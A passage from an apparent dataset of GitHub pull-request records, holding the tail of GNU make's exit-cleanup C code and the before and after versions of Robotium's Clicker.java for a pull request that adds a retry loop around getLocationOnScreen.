();\n\n      clean_jobserver (status);\n\n      if (output_context)\n        {\n          /* die() might be called in a recipe output context due to an\n             $(error ...) function.  */\n          output_close (output_context);\n\n          if (output_context != &make_sync)\n            output_close (&make_sync);\n\n          OUTPUT_UNSET ();\n        }\n\n      output_close (NULL);\n\n      /* Try to move back to the original directory.  This is essential on\n         MS-DOS (where there is really only one process), and on Unix it\n         puts core files in the original directory instead of the -C\n         directory.  Must wait until after remove_intermediates(), or unlinks\n         of relative pathnames fail.  */\n      if (directory_before_chdir != 0)\n        {\n          /* If it fails we don't care: shut up GCC.  */\n          int _x UNUSED;\n          _x = chdir (directory_before_chdir);\n        }\n    }\n\n  if (profile_flag) {\n    const char *status_str;\n    switch (status) {\n      case MAKE_SUCCESS:\n\tstatus_str = \"Normal program termination\";\n\tbreak;\n      case MAKE_TROUBLE:\n\tstatus_str = \"Platform failure termination\";\n\tbreak;\n      case MAKE_FAILURE:\n\tstatus_str = \"Failure program termination\";\n\tbreak;\n      case DEBUGGER_QUIT_RC:\n\tstatus_str = \"Debugger termination\";\n\tbreak;\n      default:\n\tstatus_str = \"\";\n      }\n\n    profile_close(status_str, goals, (jobserver_auth != NULL));\n  }\n  exit (status);\n}\n"}}
{"repo": "RobotiumTech/robotium", "pr_number": 851, "title": "Added a loop that retries getLocationOnScreen until it gets a value", "state": "closed", "merged_at": "2016-09-27T18:23:56Z", "additions": 7, "deletions": 1, "files_changed": ["robotium-solo/src/main/java/com/robotium/solo/Clicker.java"], "files_before": {"robotium-solo/src/main/java/com/robotium/solo/Clicker.java": "package com.robotium.solo;\n\nimport java.lang.reflect.Constructor;\nimport java.util.ArrayList;\nimport java.util.Collection;\nimport java.util.List;\n\nimport junit.framework.Assert;\nimport android.app.Activity;\nimport android.app.Instrumentation;\nimport android.content.Context;\nimport android.os.SystemClock;\nimport android.util.Log;\nimport android.view.KeyEvent;\nimport android.view.MenuItem;\nimport android.view.MotionEvent;\nimport android.view.View;\nimport android.view.ViewConfiguration;\nimport android.view.ViewGroup;\nimport android.view.Window;\nimport android.widget.AbsListView;\nimport android.widget.TextView;\n\n/**\n * Contains various click methods. Examples are: clickOn(),\n * clickOnText(), clickOnScreen().\n *\n * @author Renas Reda, renas.reda@robotium.com\n *\n */\n\nclass Clicker {\n\n\tprivate final String LOG_TAG = \"Robotium\";\n\tprivate final ActivityUtils activityUtils;\n\tprivate final ViewFetcher viewFetcher;\n\tprivate final Instrumentation inst;\n\tprivate final Sender sender;\n\tprivate final Sleeper sleeper;\n\tprivate final Waiter waiter;\n\tprivate final WebUtils webUtils;\n\tprivate final DialogUtils dialogUtils;\n\tprivate final int MINI_WAIT = 300;\n\tprivate final int WAIT_TIME = 1500;\n\n\n\t/**\n\t * Constructs this object.\n\t *\n\t * @param activityUtils the {@code ActivityUtils} instance\n\t * @param viewFetcher the {@code ViewFetcher} instance\n\t * @param sender the {@code Sender} instance\n\t * @param inst the {@code android.app.Instrumentation} instance\n\t * @param sleeper the {@code Sleeper} instance\n\t * @param waiter the {@code Waiter} instance\n\t * @param webUtils the {@code WebUtils} instance\n\t * @param dialogUtils the {@code DialogUtils} instance\n\t */\n\n\tpublic Clicker(ActivityUtils activityUtils, ViewFetcher viewFetcher, Sender sender, Instrumentation inst, Sleeper sleeper, Waiter waiter, WebUtils webUtils, DialogUtils dialogUtils) {\n\n\t\tthis.activityUtils = activityUtils;\n\t\tthis.viewFetcher = viewFetcher;\n\t\tthis.sender = sender;\n\t\tthis.inst = inst;\n\t\tthis.sleeper = sleeper;\n\t\tthis.waiter = waiter;\n\t\tthis.webUtils = webUtils;\n\t\tthis.dialogUtils = dialogUtils;\n\t}\n\n\t/**\n\t * Clicks on a given coordinate on the screen.\n\t *\n\t * @param x the x coordinate\n\t * @param y the y coordinate\n\t */\n\n\tpublic void clickOnScreen(float x, float y, View view) {\n\t\tboolean successfull = false;\n\t\tint retry = 0;\n\t\tSecurityException ex = null;\n\n\t\twhile(!successfull && retry < 20) {\n\t\t\tlong downTime = SystemClock.uptimeMillis();\n\t\t\tlong eventTime = SystemClock.uptimeMillis();\n\t\t\tMotionEvent event = MotionEvent.obtain(downTime, eventTime,\n\t\t\t\t\tMotionEvent.ACTION_DOWN, x, y, 0);\n\t\t\tMotionEvent event2 = MotionEvent.obtain(downTime, eventTime,\n\t\t\t\t\tMotionEvent.ACTION_UP, x, y, 0);\n\t\t\ttry{\n\t\t\t\tinst.sendPointerSync(event);\n\t\t\t\tinst.sendPointerSync(event2);\n\t\t\t\tsuccessfull = true;\n\t\t\t}catch(SecurityException e){\n\t\t\t\tex = e;\n\t\t\t\tdialogUtils.hideSoftKeyboard(null, false, true);\n\t\t\t\tsleeper.sleep(MINI_WAIT);\n\t\t\t\tretry++;\n\t\t\t\tView identicalView = viewFetcher.getIdenticalView(view);\n\t\t\t\tif(identicalView != null){\n\t\t\t\t\tfloat[] xyToClick = getClickCoordinates(identicalView);\n\t\t\t\t\tx = xyToClick[0]; \n\t\t\t\t\ty = xyToClick[1];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif(!successfull) {\n\t\t\tAssert.fail(\"Click at (\"+x+\", \"+y+\") can not be completed! (\"+(ex != null ? ex.getClass().getName()+\": \"+ex.getMessage() : \"null\")+\")\");\n\t\t}\n\t}\n\n\t/**\n\t * Long clicks a given coordinate on the screen.\n\t *\n\t * @param x the x coordinate\n\t * @param y the y coordinate\n\t * @param time the amount of time to long click\n\t */\n\n\tpublic void clickLongOnScreen(float x, float y, int time, View view) {\n\t\tboolean successfull = false;\n\t\tint retry = 0;\n\t\tSecurityException ex = null;\n\t\tlong downTime = SystemClock.uptimeMillis();\n\t\tlong eventTime = SystemClock.uptimeMillis();\n\t\tMotionEvent event = MotionEvent.obtain(downTime, eventTime, MotionEvent.ACTION_DOWN, x, y, 0);\n\n\t\twhile(!successfull && retry < 20) {\n\t\t\ttry{\n\t\t\t\tinst.sendPointerSync(event);\n\t\t\t\tsuccessfull = true;\n\t\t\t\tsleeper.sleep(MINI_WAIT);\n\t\t\t}catch(SecurityException e){\n\t\t\t\tex = e;\n\t\t\t\tdialogUtils.hideSoftKeyboard(null, false, true);\n\t\t\t\tsleeper.sleep(MINI_WAIT);\n\t\t\t\tretry++;\n\t\t\t\tView identicalView = viewFetcher.getIdenticalView(view);\n\t\t\t\tif(identicalView != null){\n\t\t\t\t\tfloat[] xyToClick = getClickCoordinates(identicalView);\n\t\t\t\t\tx = xyToClick[0];\n\t\t\t\t\ty = xyToClick[1];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif(!successfull) {\n\t\t\tAssert.fail(\"Long click at (\"+x+\", \"+y+\") can not be completed! (\"+(ex != null ? ex.getClass().getName()+\": \"+ex.getMessage() : \"null\")+\")\");\n\t\t}\n\n\t\teventTime = SystemClock.uptimeMillis();\n\t\tevent = MotionEvent.obtain(downTime, eventTime, MotionEvent.ACTION_MOVE, x + 1.0f, y + 1.0f, 0);\n\t\tinst.sendPointerSync(event);\n\t\tif(time > 0)\n\t\t\tsleeper.sleep(time);\n\t\telse\n\t\t\tsleeper.sleep((int)(ViewConfiguration.getLongPressTimeout() * 2.5f));\n\n\t\teventTime = SystemClock.uptimeMillis();\n\t\tevent = MotionEvent.obtain(downTime, eventTime, MotionEvent.ACTION_UP, x, y, 0);\n\t\tinst.sendPointerSync(event);\n\t\tsleeper.sleep();\n\t}\n\n\n\t/**\n\t * Clicks on a given {@link View}.\n\t *\n\t * @param view the view that should be clicked\n\t */\n\n\tpublic void clickOnScreen(View view) {\n\t\tclickOnScreen(view, false, 0);\n\t}\n\n\t/**\n\t * Private method used to click on a given view.\n\t *\n\t * @param view the view that should be clicked\n\t * @param longClick true if the click should be a long click\n\t * @param time the amount of time to long click\n\t */\n\n\tpublic void clickOnScreen(View view, boolean longClick, int time) {\n\t\tif(view == null)\n\t\t\tAssert.fail(\"View is null and can therefore not be clicked!\");\n\n\t\tfloat[] xyToClick = getClickCoordinates(view);\n\t\tfloat x = xyToClick[0];\n\t\tfloat y = xyToClick[1];\n\n\t\tif(x == 0 || y == 0){\n\t\t\tsleeper.sleepMini();\n\t\t\ttry {\n\t\t\t\tview = viewFetcher.getIdenticalView(view);\n\t\t\t} catch (Exception ignored){}\n\n\t\t\tif(view != null){\n\t\t\t\txyToClick = getClickCoordinates(view);\n\t\t\t\tx = xyToClick[0];\n\t\t\t\ty = xyToClick[1];\n\t\t\t}\n\t\t}\n\n\t\tif (longClick)\n\t\t\tclickLongOnScreen(x, y, time, view);\n\t\telse\n\t\t\tclickOnScreen(x, y, view);\n\t}\t\n\n\t/**\n\t * Returns click coordinates for the specified view.\n\t * \n\t * @param view the view to get click coordinates from\n\t * @return click coordinates for a specified view\n\t */\n\n\tprivate float[] getClickCoordinates(View view){\n\t\tsleeper.sleep(200);\n\t\tint[] xyLocation = new int[2];\n\t\tfloat[] xyToClick = new float[2];\n\n\t\tview.getLocationOnScreen(xyLocation);\n\n\t\tfinal int viewWidth = view.getWidth();\n\t\tfinal int viewHeight = view.getHeight();\n\t\tfinal float x = xyLocation[0] + (viewWidth / 2.0f);\n\t\tfloat y = xyLocation[1] + (viewHeight / 2.0f);\n\n\t\txyToClick[0] = x;\n\t\txyToClick[1] = y;\n\n\t\treturn xyToClick;\n\t}\n\t\n\t\n\n\n\t/**\n\t * Long clicks on a specific {@link TextView} and then selects\n\t * an item from the context menu that appears. Will automatically scroll when needed.\n\t *\n\t * @param text the text that should be clicked on. The parameter <strong>will</strong> be interpreted as a regular expression.\n\t * @param index the index of the menu item that should be pressed\n\t */\n\n\tpublic void clickLongOnTextAndPress(String text, int index)\n\t{\n\t\tclickOnText(text, true, 0, true, 0);\n\t\tdialogUtils.waitForDialogToOpen(Timeout.getSmallTimeout(), true);\n\t\ttry{\n\t\t\tinst.sendKeyDownUpSync(KeyEvent.KEYCODE_DPAD_DOWN);\n\t\t}catch(SecurityException e){\n\t\t\tAssert.fail(\"Can not press the context menu!\");\n\t\t}\n\t\tfor(int i = 0; i < index; i++)\n\t\t{\n\t\t\tsleeper.sleepMini();\n\t\t\tinst.sendKeyDownUpSync(KeyEvent.KEYCODE_DPAD_DOWN);\n\t\t}\n\t\tinst.sendKeyDownUpSync(KeyEvent.KEYCODE_ENTER);\n\t}\n\n\t/**\n\t * Opens the menu and waits for it to open.\n\t */\n\n\tprivate void openMenu(){\n\t\tsleeper.sleepMini();\n\n\t\tif(!dialogUtils.waitForDialogToOpen(MINI_WAIT, false)) {\n\t\t\ttry{\n\t\t\t\tsender.sendKeyCode(KeyEvent.KEYCODE_MENU);\n\t\t\t\tdialogUtils.waitForDialogToOpen(WAIT_TIME, true);\n\t\t\t}catch(SecurityException e){\n\t\t\t\tAssert.fail(\"Can not open the menu!\");\n\t\t\t}\n\t\t}\n\t}\n\n\t/**\n\t * Clicks on a menu item with a given text.\n\t *\n\t * @param text the menu text that should be clicked on. The parameter <strong>will</strong> be interpreted as a regular expression.\n\t */\n\n\tpublic void clickOnMenuItem(String text)\n\t{\n\t\topenMenu();\n\t\tclickOnText(text, false, 1, true, 0);\n\t}\n\n\t/**\n\t * Clicks on a menu item with a given text.\n\t *\n\t * @param text the menu text that should be clicked on. The parameter <strong>will</strong> be interpreted as a regular expression.\n\t * @param subMenu true if the menu item could be located in a sub menu\n\t */\n\n\tpublic void clickOnMenuItem(String text, boolean subMenu)\n\t{\n\t\tsleeper.sleepMini();\n\n\t\tTextView textMore = null;\n\t\tint [] xy = new int[2];\n\t\tint x = 0;\n\t\tint y = 0;\n\n\t\tif(!dialogUtils.waitForDialogToOpen(MINI_WAIT, false)) {\n\t\t\ttry{\n\t\t\t\tsender.sendKeyCode(KeyEvent.KEYCODE_MENU);\n\t\t\t\tdialogUtils.waitForDialogToOpen(WAIT_TIME, true);\n\t\t\t}catch(SecurityException e){\n\t\t\t\tAssert.fail(\"Can not open the menu!\");\n\t\t\t}\n\t\t}\n\t\tboolean textShown = waiter.waitForText(text, 1, WAIT_TIME, true) != null;\n\n\t\tif(subMenu && (viewFetcher.getCurrentViews(TextView.class, true).size() > 5) && !textShown){\n\t\t\tfor(TextView textView : viewFetcher.getCurrentViews(TextView.class, true)){\n\t\t\t\tx = xy[0];\n\t\t\t\ty = xy[1];\n\t\t\t\ttextView.getLocationOnScreen(xy);\n\n\t\t\t\tif(xy[0] > x || xy[1] > y)\n\t\t\t\t\ttextMore = textView;\n\t\t\t}\n\t\t}\n\t\tif(textMore != null)\n\t\t\tclickOnScreen(textMore);\n\n\t\tclickOnText(text, false, 1, true, 0);\n\t}\n\n\t/**\n\t * Clicks on an ActionBar item with a given resource id\n\t *\n\t * @param resourceId the R.id of the ActionBar item\n\t */\n\n\tpublic void clickOnActionBarItem(int resourceId){\n\t\tsleeper.sleep();\n\t\tActivity activity = activityUtils.getCurrentActivity();\n\t\tif(activity != null){\n\t\t\tinst.invokeMenuActionSync(activity, resourceId, 0);\n\t\t}\n\t}\n\n\t/**\n\t * Clicks on an ActionBar Home/Up button.\n\t */\n\n\tpublic void clickOnActionBarHomeButton() {\n\t\tActivity activity = activityUtils.getCurrentActivity();\n\t\tMenuItem homeMenuItem = null;\n\n\t\ttry {\n\t\t\tClass<?> cls = Class.forName(\"com.android.internal.view.menu.ActionMenuItem\");\n\t\t\tClass<?> partypes[] = new Class[6];\n\t\t\tpartypes[0] = Context.class;\n\t\t\tpartypes[1] = Integer.TYPE;\n\t\t\tpartypes[2] = Integer.TYPE;\n\t\t\tpartypes[3] = Integer.TYPE;\n\t\t\tpartypes[4] = Integer.TYPE;\n\t\t\tpartypes[5] = CharSequence.class;\n\t\t\tConstructor<?> ct = cls.getConstructor(partypes);\n\t\t\tObject argList[] = new Object[6];\n\t\t\targList[0] = activity;\n\t\t\targList[1] = 0;\n\t\t\targList[2] = android.R.id.home;\n\t\t\targList[3] = 0;\n\t\t\targList[4] = 0;\n\t\t\targList[5] = \"\";\n\t\t\thomeMenuItem = (MenuItem) ct.newInstance(argList);\n\t\t} catch (Exception ex) {\n\t\t\tLog.d(LOG_TAG, \"Can not find methods to invoke Home button!\");\n\t\t}\n\n\t\tif (homeMenuItem != null) {\n\t\t\ttry{\n\t\t\t\tactivity.getWindow().getCallback().onMenuItemSelected(Window.FEATURE_OPTIONS_PANEL, homeMenuItem);\n\t\t\t}catch(Exception ignored) {}\n\t\t}\n\t}\n\n\t/**\n\t * Clicks on a web element using the given By method.\n\t *\n\t * @param by the By object e.g. By.id(\"id\");\n\t * @param match if multiple objects match, this determines which one will be clicked\n\t * @param scroll true if scrolling should be performed\n\t * @param useJavaScriptToClick true if click should be perfomed through JavaScript\n\t */\n\n\tpublic void clickOnWebElement(By by, int match, boolean scroll, boolean useJavaScriptToClick){\n\t\tWebElement webElement = null;\n\t\t\n\t\tif(useJavaScriptToClick){\n\t\t\twebElement = waiter.waitForWebElement(by, match, Timeout.getSmallTimeout(), false);\n\t\t\tif(webElement == null){\n\t\t\t\tAssert.fail(\"WebElement with \" + webUtils.splitNameByUpperCase(by.getClass().getSimpleName()) + \": '\" + by.getValue() + \"' is not found!\");\n\t\t\t}\n\t\t\twebUtils.executeJavaScript(by, true);\n\t\t\treturn;\n\t\t}\n\t\t\n\t\tWebElement webElementToClick = waiter.waitForWebElement(by, match, Timeout.getSmallTimeout(), scroll);\n\t\t\n\t\tif(webElementToClick == null){\n\t\t\tif(match > 1) {\n\t\t\t\tAssert.fail(match + \" WebElements with \" + webUtils.splitNameByUpperCase(by.getClass().getSimpleName()) + \": '\" + by.getValue() + \"' are not found!\");\n\t\t\t}\n\t\t\telse {\n\t\t\t\tAssert.fail(\"WebElement with \" + webUtils.splitNameByUpperCase(by.getClass().getSimpleName()) + \": '\" + by.getValue() + \"' is not found!\");\n\t\t\t}\n\t\t}\n\t\t\n\t\tclickOnScreen(webElementToClick.getLocationX(), webElementToClick.getLocationY(), null);\n\t}\n\n\n\t/**\n\t * Clicks on a specific {@link TextView} displaying a given text.\n\t *\n\t * @param regex the text that should be clicked on. The parameter <strong>will</strong> be interpreted as a regular expression.\n\t * @param longClick {@code true} if the click should be a long click\n\t * @param match the regex match that should be clicked on\n\t * @param scroll true if scrolling should be performed\n\t * @param time the amount of time to long click\n\t */\n\n\tpublic void clickOnText(String regex, boolean longClick, int match, boolean scroll, int time) {\n\t\tTextView textToClick = waiter.waitForText(regex, match, Timeout.getSmallTimeout(), scroll, true, false);\n\n\t\tif (textToClick != null) {\n\t\t\tclickOnScreen(textToClick, longClick, time);\n\t\t}\n\n\t\telse {\n\n\t\t\tif(match > 1){\n\t\t\t\tAssert.fail(match + \" matches of text string: '\" + regex +  \"' are not found!\");\n\t\t\t}\n\n\t\t\telse{\n\t\t\t\tArrayList<TextView> allTextViews = RobotiumUtils.removeInvisibleViews(viewFetcher.getCurrentViews(TextView.class, true));\n\t\t\t\tallTextViews.addAll((Collection<? extends TextView>) webUtils.getTextViewsFromWebView());\n\n\t\t\t\tfor (TextView textView : allTextViews) {\n\t\t\t\t\tLog.d(LOG_TAG, \"'\" + regex + \"' not found. Have found: '\" + textView.getText() + \"'\");\n\t\t\t\t}\n\t\t\t\tallTextViews = null;\n\t\t\t\tAssert.fail(\"Text string: '\" + regex + \"' is not found!\");\n\t\t\t}\n\t\t}\n\t}\n\n\n\t/**\n\t * Clicks on a {@code View} of a specific class, with a given text.\n\t *\n\t * @param viewClass what kind of {@code View} to click, e.g. {@code Button.class} or {@code TextView.class}\n\t * @param nameRegex the name of the view presented to the user. The parameter <strong>will</strong> be interpreted as a regular expression.\n\t */\n\n\tpublic <T extends TextView> void clickOn(Class<T> viewClass, String nameRegex) {\n\t\tT viewToClick = (T) waiter.waitForText(viewClass, nameRegex, 0, Timeout.getSmallTimeout(), true, true, false);\n\n\t\tif (viewToClick != null) {\n\t\t\tclickOnScreen(viewToClick);\n\t\t} else {\n\t\t\tArrayList <T> allTextViews = RobotiumUtils.removeInvisibleViews(viewFetcher.getCurrentViews(viewClass, true));\n\n\t\t\tfor (T view : allTextViews) {\n\t\t\t\tLog.d(LOG_TAG, \"'\" + nameRegex + \"' not found. Have found: '\" + view.getText() + \"'\");\n\t\t\t}\n\t\t\tAssert.fail(viewClass.getSimpleName() + \" with text: '\" + nameRegex + \"' is not found!\");\n\t\t}\n\t}\n\n\t/**\n\t * Clicks on a {@code View} of a specific class, with a certain index.\n\t *\n\t * @param viewClass what kind of {@code View} to click, e.g. {@code Button.class} or {@code ImageView.class}\n\t * @param index the index of the {@code View} to be clicked, within {@code View}s of the specified class\n\t */\n\n\tpublic <T extends View> void clickOn(Class<T> viewClass, int index) {\n\t\tclickOnScreen(waiter.waitForAndGetView(index, viewClass));\n\t}\n\n\n\t/**\n\t * Clicks on a certain list line and returns the {@link TextView}s that\n\t * the list line is showing. Will use the first list it finds.\n\t *\n\t * @param line the line that should be clicked\n\t * @return a {@code List} of the {@code TextView}s located in the list line\n\t */\n\n\tpublic ArrayList<TextView> clickInList(int line) {\n\t\treturn clickInList(line, 0, 0, false, 0);\n\t}\n\t\n\t/**\n\t * Clicks on a View with a specified resource id located in a specified list line\n\t *\n\t * @param line the line where the View is located\n\t * @param id the resource id of the View\n\t */\n\n\tpublic void clickInList(int line, int id) {\n\t\tclickInList(line, 0, id, false, 0);\n\t}\n\n\t/**\n\t * Clicks on a certain list line on a specified List and\n\t * returns the {@link TextView}s that the list line is showing.\n\t *\n\t * @param line the line that should be clicked\n\t * @param index the index of the list. E.g. Index 1 if two lists are available\n\t * @param id the resource id of the View to click\n\t * @return an {@code ArrayList} of the {@code TextView}s located in the list line\n\t */\n\n\tpublic ArrayList<TextView> clickInList(int line, int index, int id, boolean longClick, int time) {\n\t\tfinal long endTime = SystemClock.uptimeMillis() + Timeout.getSmallTimeout();\n\n\t\tint lineIndex = line - 1;\n\t\tif(lineIndex < 0)\n\t\t\tlineIndex = 0;\n\n\t\tArrayList<View> views = new ArrayList<View>();\n\t\tfinal AbsListView absListView = waiter.waitForAndGetView(index, AbsListView.class);\n\n\t\tif(absListView == null)\n\t\t\tAssert.fail(\"AbsListView is null!\");\n\n\t\tfailIfIndexHigherThenChildCount(absListView, lineIndex, endTime);\n\n\t\tView viewOnLine = getViewOnAbsListLine(absListView, index, lineIndex);\n\n\t\tif(viewOnLine != null){\n\t\t\tviews = viewFetcher.getViews(viewOnLine, true);\n\t\t\tviews = RobotiumUtils.removeInvisibleViews(views);\n\n\t\t\tif(id == 0){\n\t\t\t\tclickOnScreen(viewOnLine, longClick, time);\n\t\t\t}\n\t\t\telse{\n\t\t\t\tclickOnScreen(getView(id, views));\n\t\t\t}\n\t\t}\n\t\treturn RobotiumUtils.filterViews(TextView.class, views);\n\t}\n\t\n\t/**\n\t * Clicks on a certain list line and returns the {@link TextView}s that\n\t * the list line is showing. Will use the first list it finds.\n\t *\n\t * @param line the line that should be clicked\n\t * @return a {@code List} of the {@code TextView}s located in the list line\n\t */\n\n\tpublic ArrayList<TextView> clickInRecyclerView(int line) {\n\t\treturn clickInRecyclerView(line, 0, 0, false, 0);\n\t}\n\t\n\t/**\n\t * Clicks on a View with a specified resource id located in a specified RecyclerView itemIndex\n\t *\n\t * @param itemIndex the index where the View is located\n\t * @param id the resource id of the View\n\t */\n\n\tpublic void clickInRecyclerView(int itemIndex, int id) {\n\t\tclickInRecyclerView(itemIndex, 0, id, false, 0);\n\t}\n\n\t\n\t/**\n\t * Clicks on a certain list line on a specified List and\n\t * returns the {@link TextView}s that the list line is showing.\n\t *\n\t * @param itemIndex the item index that should be clicked\n\t * @param recyclerViewIndex the index of the RecyclerView. E.g. Index 1 if two RecyclerViews are available\n\t * @param id the resource id of the View to click\n\t * @return an {@code ArrayList} of the {@code TextView}s located in the list line\n\t */\n\n\tpublic ArrayList<TextView> clickInRecyclerView(int itemIndex, int recyclerViewIndex, int id, boolean longClick, int time) {\n\t\tView viewOnLine = null;\n\t\tfinal long endTime = SystemClock.uptimeMillis() + Timeout.getSmallTimeout();\n\n\t\tif(itemIndex < 0)\n\t\t\titemIndex = 0;\n\n\t\tArrayList<View> views = new ArrayList<View>();\n\t\tViewGroup recyclerView = viewFetcher.getRecyclerView(recyclerViewIndex, Timeout.getSmallTimeout());\n\t\t\n\t\tif(recyclerView == null){\n\t\t\tAssert.fail(\"RecyclerView is not found!\");\n\t\t}\n\t\telse{\n\t\t\tfailIfIndexHigherThenChildCount(recyclerView, itemIndex, endTime);\n\t\t\tviewOnLine = getViewOnRecyclerItemIndex((ViewGroup) recyclerView, recyclerViewIndex, itemIndex);\n\t\t}\n\t\t\n\t\tif(viewOnLine != null){\n\t\t\tviews = viewFetcher.getViews(viewOnLine, true);\n\t\t\tviews = RobotiumUtils.removeInvisibleViews(views);\n\t\t\t\n\t\t\tif(id == 0){\n\t\t\t\tclickOnScreen(viewOnLine, longClick, time);\n\t\t\t}\n\t\t\telse{\n\t\t\t\tclickOnScreen(getView(id, views));\n\t\t\t}\n\t\t}\n\t\treturn RobotiumUtils.filterViews(TextView.class, views);\n\t}\n\t\n\tprivate View getView(int id, List<View> views){\n\t\tfor(View view : views){\n\t\t\tif(id == view.getId()){\n\t\t\t\treturn view;\n\t\t\t}\n\t\t}\n\t\treturn null;\n\t}\n\t\n\tprivate void failIfIndexHigherThenChildCount(ViewGroup viewGroup, int index, long endTime){\n\t\twhile(index > viewGroup.getChildCount()){\n\t\t\tfinal boolean timedOut = SystemClock.uptimeMillis() > endTime;\n\t\t\tif (timedOut){\n\t\t\t\tint numberOfIndexes = viewGroup.getChildCount();\n\t\t\t\tAssert.fail(\"Can not click on index \" + index + \" as there are only \" + numberOfIndexes + \" indexes available\");\n\t\t\t}\n\t\t\tsleeper.sleep();\n\t\t}\n\t}\n\t\n\n\t/**\n\t * Returns the view in the specified list line\n\t * \n\t * @param absListView the ListView to use\n\t * @param index the index of the list. E.g. Index 1 if two lists are available\n\t * @param lineIndex the line index of the View\n\t * @return the View located at a specified list line\n\t */\n\n\tprivate View getViewOnAbsListLine(AbsListView absListView, int index, int lineIndex){\n\t\tfinal long endTime = SystemClock.uptimeMillis() + Timeout.getSmallTimeout();\n\t\tView view = absListView.getChildAt(lineIndex);\n\n\t\twhile(view == null){\n\t\t\tfinal boolean timedOut = SystemClock.uptimeMillis() > endTime;\n\t\t\tif (timedOut){\n\t\t\t\tAssert.fail(\"View is null and can therefore not be clicked!\");\n\t\t\t}\n\t\t\t\n\t\t\tsleeper.sleep();\n\t\t\tabsListView = (AbsListView) viewFetcher.getIdenticalView(absListView);\n\n\t\t\tif(absListView == null){\n\t\t\t\tabsListView = waiter.waitForAndGetView(index, AbsListView.class);\n\t\t\t}\n\t\t\t\n\t\t\tview = absListView.getChildAt(lineIndex);\n\t\t}\n\t\treturn view;\n\t}\n\t\n\t/**\n\t * Returns the view in the specified item index\n\t * \n\t * @param recyclerView the RecyclerView to use\n\t * @param itemIndex the item index of the View\n\t * @return the View located at a specified item index\n\t */\n\n\tprivate View getViewOnRecyclerItemIndex(ViewGroup recyclerView, int recyclerViewIndex, int itemIndex){\n\t\tfinal long endTime = SystemClock.uptimeMillis() + Timeout.getSmallTimeout();\n\t\tView view = recyclerView.getChildAt(itemIndex);\n\n\t\twhile(view == null){\n\t\t\tfinal boolean timedOut = SystemClock.uptimeMillis() > endTime;\n\t\t\tif (timedOut){\n\t\t\t\tAssert.fail(\"View is null and can therefore not be clicked!\");\n\t\t\t}\n\n\t\t\tsleeper.sleep();\n\t\t\trecyclerView = (ViewGroup) viewFetcher.getIdenticalView(recyclerView);\n\n\t\t\tif(recyclerView == null){\n\t\t\t\trecyclerView = (ViewGroup) viewFetcher.getRecyclerView(false, recyclerViewIndex);\n\t\t\t}\n\n\t\t\tif(recyclerView != null){\n\t\t\t\tview = recyclerView.getChildAt(itemIndex);\n\t\t\t}\n\t\t}\n\t\treturn view;\n\t}\n\t\n\t\n}\n"}, "files_after": {"robotium-solo/src/main/java/com/robotium/solo/Clicker.java": "package com.robotium.solo;\n\nimport java.lang.reflect.Constructor;\nimport java.util.ArrayList;\nimport java.util.Collection;\nimport java.util.List;\n\nimport junit.framework.Assert;\nimport android.app.Activity;\nimport android.app.Instrumentation;\nimport android.content.Context;\nimport android.os.SystemClock;\nimport android.util.Log;\nimport android.view.KeyEvent;\nimport android.view.MenuItem;\nimport android.view.MotionEvent;\nimport android.view.View;\nimport android.view.ViewConfiguration;\nimport android.view.ViewGroup;\nimport android.view.Window;\nimport android.widget.AbsListView;\nimport android.widget.TextView;\n\n/**\n * Contains various click methods. Examples are: clickOn(),\n * clickOnText(), clickOnScreen().\n *\n * @author Renas Reda, renas.reda@robotium.com\n *\n */\n\nclass Clicker {\n\n\tprivate final String LOG_TAG = \"Robotium\";\n\tprivate final ActivityUtils activityUtils;\n\tprivate final ViewFetcher viewFetcher;\n\tprivate final Instrumentation inst;\n\tprivate final Sender sender;\n\tprivate final Sleeper sleeper;\n\tprivate final Waiter waiter;\n\tprivate final WebUtils webUtils;\n\tprivate final DialogUtils dialogUtils;\n\tprivate final int MINI_WAIT = 300;\n\tprivate final int WAIT_TIME = 1500;\n\n\n\t/**\n\t * Constructs this object.\n\t *\n\t * @param activityUtils the {@code ActivityUtils} instance\n\t * @param viewFetcher the {@code ViewFetcher} instance\n\t * @param sender the {@code Sender} instance\n\t * @param inst the {@code android.app.Instrumentation} instance\n\t * @param sleeper the {@code Sleeper} instance\n\t * @param waiter the {@code Waiter} instance\n\t * @param webUtils the {@code WebUtils} instance\n\t * @param dialogUtils the {@code DialogUtils} instance\n\t */\n\n\tpublic Clicker(ActivityUtils activityUtils, ViewFetcher viewFetcher, Sender sender, Instrumentation inst, Sleeper sleeper, Waiter waiter, WebUtils webUtils, DialogUtils dialogUtils) {\n\n\t\tthis.activityUtils = activityUtils;\n\t\tthis.viewFetcher = viewFetcher;\n\t\tthis.sender = sender;\n\t\tthis.inst = inst;\n\t\tthis.sleeper = sleeper;\n\t\tthis.waiter = waiter;\n\t\tthis.webUtils = webUtils;\n\t\tthis.dialogUtils = dialogUtils;\n\t}\n\n\t/**\n\t * Clicks on a given coordinate on the screen.\n\t *\n\t * @param x the x coordinate\n\t * @param y the y coordinate\n\t */\n\n\tpublic void clickOnScreen(float x, float y, View view) {\n\t\tboolean successfull = false;\n\t\tint retry = 0;\n\t\tSecurityException ex = null;\n\n\t\twhile(!successfull && retry < 20) {\n\t\t\tlong downTime = SystemClock.uptimeMillis();\n\t\t\tlong eventTime = SystemClock.uptimeMillis();\n\t\t\tMotionEvent event = MotionEvent.obtain(downTime, eventTime,\n\t\t\t\t\tMotionEvent.ACTION_DOWN, x, y, 0);\n\t\t\tMotionEvent event2 = MotionEvent.obtain(downTime, eventTime,\n\t\t\t\t\tMotionEvent.ACTION_UP, x, y, 0);\n\t\t\ttry{\n\t\t\t\tinst.sendPointerSync(event);\n\t\t\t\tinst.sendPointerSync(event2);\n\t\t\t\tsuccessfull = true;\n\t\t\t}catch(SecurityException e){\n\t\t\t\tex = e;\n\t\t\t\tdialogUtils.hideSoftKeyboard(null, false, true);\n\t\t\t\tsleeper.sleep(MINI_WAIT);\n\t\t\t\tretry++;\n\t\t\t\tView identicalView = viewFetcher.getIdenticalView(view);\n\t\t\t\tif(identicalView != null){\n\t\t\t\t\tfloat[] xyToClick = getClickCoordinates(identicalView);\n\t\t\t\t\tx = xyToClick[0]; \n\t\t\t\t\ty = xyToClick[1];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif(!successfull) {\n\t\t\tAssert.fail(\"Click at (\"+x+\", \"+y+\") can not be completed! (\"+(ex != null ? ex.getClass().getName()+\": \"+ex.getMessage() : \"null\")+\")\");\n\t\t}\n\t}\n\n\t/**\n\t * Long clicks a given coordinate on the 